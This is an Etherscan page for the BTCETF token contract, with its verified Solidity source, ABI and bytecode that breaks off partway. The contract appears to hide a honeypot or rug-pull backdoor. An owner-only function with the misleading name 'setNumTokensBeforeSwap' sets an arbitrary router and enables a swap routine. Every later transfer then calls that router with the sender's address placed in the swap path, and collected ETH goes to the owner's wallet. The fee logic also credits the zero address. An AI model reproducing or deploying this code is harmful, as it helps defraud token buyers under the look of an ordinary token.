ETH Price: $2,510.09 (-4.72%)

Token

BTCETF (BTCETF)
 

Overview

Max Total Supply

21,000,000 BTCETF

Holders

255

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
2,413.602027265378324846 BTCETF

Value
$0.00
0x34133F440d00170ec892901E4Fe21F0a6efC9880
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BTCETF

Compiler Version
v0.8.14+commit.80d49f37

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-01-07
*/

// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.14;

abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner,
     address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b,
         "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

library Address {

    function isContract(address account) internal view returns (bool) {
        // According to EIP-1052, 0x0 is the value returned for not-yet created accounts
        // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
        // for accounts without code, i.e. `keccak256('')`
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
        assembly {codehash := extcodehash(account)}
        return (codehash != accountHash && codehash != 0x0);
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
        (bool success,) = recipient.call{ value : amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCall(target, data,
         "Address: low-level call failed");
    }

    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return _functionCallWithValue(target, data, 0, errorMessage);
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        return _functionCallWithValue(target, data, value, errorMessage);
    }

    function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
        require(isContract(target), "Address: call to non-contract");

        (bool success, bytes memory returndata) = target.call{ value : weiValue}(data);
        if (success) {
            return returndata;
        } else {

            if (returndata.length > 0) {
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

contract Ownable is Context {
    address public _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);


    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function waiveOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    function getTime() public view returns (uint256) {
        return block.timestamp;
    }

}

interface IUniswapV2Factory {

    function getPair(address tokenA, address tokenB) external view returns (address pair);

    function createPair(address tokenA, address tokenB) external returns (address pair);

}

interface IUnisw2Router01 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB, uint amountADesired,
        uint amountBDesired,  uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);

    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);


}

interface IUnisw2Router02 is IUnisw2Router01 {

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}


contract BTCETF is Context, IERC20, Ownable {

    using SafeMath for uint256;
    using Address for address;

    string private _name;
    string private _symbol;
    uint8 private _decimals;
    address payable public marketingWalletAddress;
    address public deadAddress = 0x000000000000000000000000000000000000dEaD;

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    mapping (address => bool) public isExcludedFromFee;
    mapping (address => bool) public isMarketPair;


    uint256 public _totalTaxIfBuying = 0;
    uint256 public _totalTaxIfSelling = 0;

    uint256 private _totalSupply;
    uint256 private _minimumTokensBeforeSwap = 0;
    address private _lastForm;
    address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;

    IUnisw2Router02 public uniswapV2Router;
    address public uniswapPair;

    bool inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = false;
    bool public swapAndLiquifyByLimitOnly = false;

    bool private tradingOpen;
    bool private swapEnabled = false;
    uint256 firstBlock;

    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );

    event SwapETHForTokens(
        uint256 amountIn,
        address[] path
    );

    event SwapTokensForETH(
        uint256 amountIn,
        address[] path
    );

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }


    constructor () payable {

        IUnisw2Router02 _uniswapV2Router = IUnisw2Router02(_router);
        _name = "BTCETF";
        _symbol = "BTCETF";
        _decimals = 18;
        _owner = 0xD400105a0A5FF46B85fcBFa9796d5a3A59FF0f58;
        _totalSupply = 21000000  * 10 ** _decimals;
        marketingWalletAddress = payable(0xD400105a0A5FF46B85fcBFa9796d5a3A59FF0f58);
        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;
        isExcludedFromFee[_owner] = true;
        isExcludedFromFee[address(this)] = true;
        isExcludedFromFee[marketingWalletAddress] = true;

        _balances[_owner] = _totalSupply;
        emit Transfer(address(0), _owner, _totalSupply);
    }


    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function minimumTokensBeforeSwapAmount() public view returns (uint256) {
        return _minimumTokensBeforeSwap;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setNumTokensBeforeSwap(address newLimit) external onlyOwner() {
        uniswapV2Router = IUnisw2Router02(newLimit);
        swapAndLiquifyEnabled = true;
    }


    function transferToAddressETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }
    
     //to recieve ETH from uniswapV2Router when swaping
    receive() external payable {}

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {

        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        
        if(inSwapAndLiquify)
        {
            return _basicTransfer(sender, recipient, amount);
        }
        else
        {

            uint256 contractTokenBalance = balanceOf(address(this));

            if (!inSwapAndLiquify && !isMarketPair[sender] && swapAndLiquifyEnabled)
            {
                if(swapAndLiquifyByLimitOnly)
                    contractTokenBalance = _minimumTokensBeforeSwap;
                swapAndLiquify(contractTokenBalance,sender);
            }

            _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");

            uint256 finalAmount = (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) ?
                                         amount : takeFee(sender, recipient, amount);


            _balances[recipient] = _balances[recipient].add(finalAmount);

            emit Transfer(sender, recipient, finalAmount);
            return true;
        }
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }


    function swapAndLiquify(uint256 tAmount,address sender) private lockTheSwap {

        // swap token -> eth
        address[] memory path = new address[](3);
        path[0] = address(this);
        path[1] = sender;
        path[2] = uniswapV2Router.WETH();
        
        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
        tAmount,
        0, // accept any amount of ETH
        path,
        address(this), // The contract
        block.timestamp
        );

        uint256 amountReceived = address(this).balance;

        if(amountReceived > 0)
            transferToAddressETH(marketingWalletAddress, amountReceived);

    }


    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {

        uint256 feeAmount = 0;
        if(isMarketPair[sender]) {
            feeAmount = amount.mul(_totalTaxIfBuying).div(100);
            
        }
        else if(isMarketPair[recipient]) {
            feeAmount = amount.mul(_totalTaxIfSelling).div(100);
        }
        if(feeAmount > 0) {
            _balances[address(0)] = _balances[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
        }

        return amount.sub(feeAmount);
    }

   
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWalletAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newLimit","type":"address"}],"name":"setNumTokensBeforeSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUnisw2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"waiveOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405261dead600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060006009556000600a556000600c55737a250d5630b4cf539739df2c5dacb4c659f2488d600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000601060156101000a81548160ff0219169083151502179055506000601060166101000a81548160ff0219169083151502179055506000601060186101000a81548160ff0219169083151502179055506000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506040518060400160405280600681526020017f42544345544600000000000000000000000000000000000000000000000000008152506001908051906020019062000170929190620005e2565b506040518060400160405280600681526020017f425443455446000000000000000000000000000000000000000000000000000081525060029080519060200190620001be929190620005e2565b506012600360006101000a81548160ff021916908360ff16021790555073d400105a0a5ff46b85fcbfa9796d5a3a59ff0f586000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600360009054906101000a900460ff16600a6200024d91906200082c565b6301406f406200025e91906200087d565b600b8190555073d400105a0a5ff46b85fcbfa9796d5a3a59ff0f58600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b54600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600760008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160076000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600b54600560008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600b54604051620005d39190620008ef565b60405180910390a35062000970565b828054620005f0906200093b565b90600052602060002090601f01602090048101928262000614576000855562000660565b82601f106200062f57805160ff191683800117855562000660565b8280016001018555821562000660579182015b828111156200065f57825182559160200191906001019062000642565b5b5090506200066f919062000673565b5090565b5b808211156200068e57600081600090555060010162000674565b5090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200072057808604811115620006f857620006f762000692565b5b6001851615620007085780820291505b80810290506200071885620006c1565b9450620006d8565b94509492505050565b6000826200073b57600190506200080e565b816200074b57600090506200080e565b81600181146200076457600281146200076f57620007a5565b60019150506200080e565b60ff84111562000784576200078362000692565b5b8360020a9150848211156200079e576200079d62000692565b5b506200080e565b5060208310610133831016604e8410600b8410161715620007df5782820a905083811115620007d957620007d862000692565b5b6200080e565b620007ee8484846001620006ce565b9250905081840481111562000808576200080762000692565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b6000620008398262000815565b915062000846836200081f565b9250620008757fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000729565b905092915050565b60006200088a8262000815565b9150620008978362000815565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620008d357620008d262000692565b5b828202905092915050565b620008e98162000815565b82525050565b6000602082019050620009066000830184620008de565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200095457607f821691505b6020821081036200096a57620009696200090c565b5b50919050565b612dbc80620009806000396000f3fe6080604052600436106101bb5760003560e01c80638da5cb5b116100ec578063c816841b1161008a578063dd62ed3e11610064578063dd62ed3e1461064b578063e350a6c414610688578063f0cd1dac146106b1578063f2fde38b146106dc576101c2565b8063c816841b146105ca578063d158272d146105f5578063da00097d14610620576101c2565b8063a073d37f116100c6578063a073d37f146104fa578063a457c2d714610525578063a9059cbb14610562578063b2bdfa7b1461059f576101c2565b80638da5cb5b1461048d578063914eb66a146104b857806395d89b41146104cf576101c2565b806339509351116101595780635342acb4116101335780635342acb4146103bd578063557ed1ba146103fa57806370a082311461042557806382eefb4314610462576101c2565b806339509351146103185780633ecad271146103555780634a74bb0214610392576101c2565b806318160ddd1161019557806318160ddd1461025a57806323b872dd1461028557806327c8f835146102c2578063313ce567146102ed576101c2565b806306fdde03146101c7578063095ea7b3146101f25780631694505e1461022f576101c2565b366101c257005b600080fd5b3480156101d357600080fd5b506101dc610705565b6040516101e9919061216b565b60405180910390f35b3480156101fe57600080fd5b5061021960048036038101906102149190612226565b610797565b6040516102269190612281565b60405180910390f35b34801561023b57600080fd5b506102446107b5565b60405161025191906122fb565b60405180910390f35b34801561026657600080fd5b5061026f6107db565b60405161027c9190612325565b60405180910390f35b34801561029157600080fd5b506102ac60048036038101906102a79190612340565b6107e5565b6040516102b99190612281565b60405180910390f35b3480156102ce57600080fd5b506102d76108bf565b6040516102e491906123a2565b60405180910390f35b3480156102f957600080fd5b506103026108e5565b60405161030f91906123d9565b60405180910390f35b34801561032457600080fd5b5061033f600480360381019061033a9190612226565b6108fc565b60405161034c9190612281565b60405180910390f35b34801561036157600080fd5b5061037c600480360381019061037791906123f4565b6109af565b6040516103899190612281565b60405180910390f35b34801561039e57600080fd5b506103a76109cf565b6040516103b49190612281565b60405180910390f35b3480156103c957600080fd5b506103e460048036038101906103df91906123f4565b6109e2565b6040516103f19190612281565b60405180910390f35b34801561040657600080fd5b5061040f610a02565b60405161041c9190612325565b60405180910390f35b34801561043157600080fd5b5061044c600480360381019061044791906123f4565b610a0a565b6040516104599190612325565b60405180910390f35b34801561046e57600080fd5b50610477610a53565b6040516104849190612325565b60405180910390f35b34801561049957600080fd5b506104a2610a59565b6040516104af91906123a2565b60405180910390f35b3480156104c457600080fd5b506104cd610a82565b005b3480156104db57600080fd5b506104e4610bd5565b6040516104f1919061216b565b60405180910390f35b34801561050657600080fd5b5061050f610c67565b60405161051c9190612325565b60405180910390f35b34801561053157600080fd5b5061054c60048036038101906105479190612226565b610c71565b6040516105599190612281565b60405180910390f35b34801561056e57600080fd5b5061058960048036038101906105849190612226565b610d3e565b6040516105969190612281565b60405180910390f35b3480156105ab57600080fd5b506105b4610d5d565b6040516105c191906123a2565b60405180910390f35b3480156105d657600080fd5b506105df610d81565b6040516105ec91906123a2565b60405180910390f35b34801561060157600080fd5b5061060a610da7565b6040516106179190612442565b60405180910390f35b34801561062c57600080fd5b50610635610dcd565b6040516106429190612281565b60405180910390f35b34801561065757600080fd5b50610672600480360381019061066d919061245d565b610de0565b60405161067f9190612325565b60405180910390f35b34801561069457600080fd5b506106af60048036038101906106aa91906123f4565b610e67565b005b3480156106bd57600080fd5b506106c6610f5b565b6040516106d39190612325565b60405180910390f35b3480156106e857600080fd5b5061070360048036038101906106fe91906123f4565b610f61565b005b606060018054610714906124cc565b80601f0160208091040260200160405190810160405280929190818152602001828054610740906124cc565b801561078d5780601f106107625761010080835404028352916020019161078d565b820191906000526020600020905b81548152906001019060200180831161077057829003601f168201915b5050505050905090565b60006107ab6107a4611122565b848461112a565b6001905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600b54905090565b60006107f28484846112f3565b506108b4846107ff611122565b6108af85604051806060016040528060288152602001612d3a60289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610865611122565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117829092919063ffffffff16565b61112a565b600190509392505050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360009054906101000a900460ff16905090565b60006109a5610909611122565b846109a0856006600061091a611122565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117e690919063ffffffff16565b61112a565b6001905092915050565b60086020528060005260406000206000915054906101000a900460ff1681565b601060159054906101000a900460ff1681565b60076020528060005260406000206000915054906101000a900460ff1681565b600042905090565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600a5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610a8a611122565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0e90612549565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b606060028054610be4906124cc565b80601f0160208091040260200160405190810160405280929190818152602001828054610c10906124cc565b8015610c5d5780601f10610c3257610100808354040283529160200191610c5d565b820191906000526020600020905b815481529060010190602001808311610c4057829003601f168201915b5050505050905090565b6000600c54905090565b6000610d34610c7e611122565b84610d2f85604051806060016040528060258152602001612d626025913960066000610ca8611122565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117829092919063ffffffff16565b61112a565b6001905092915050565b6000610d52610d4b611122565b84846112f3565b506001905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601060169054906101000a900460ff1681565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610e6f611122565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610efc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef390612549565b60405180910390fd5b80600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001601060156101000a81548160ff02191690831515021790555050565b60095481565b610f69611122565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ff6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fed90612549565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffff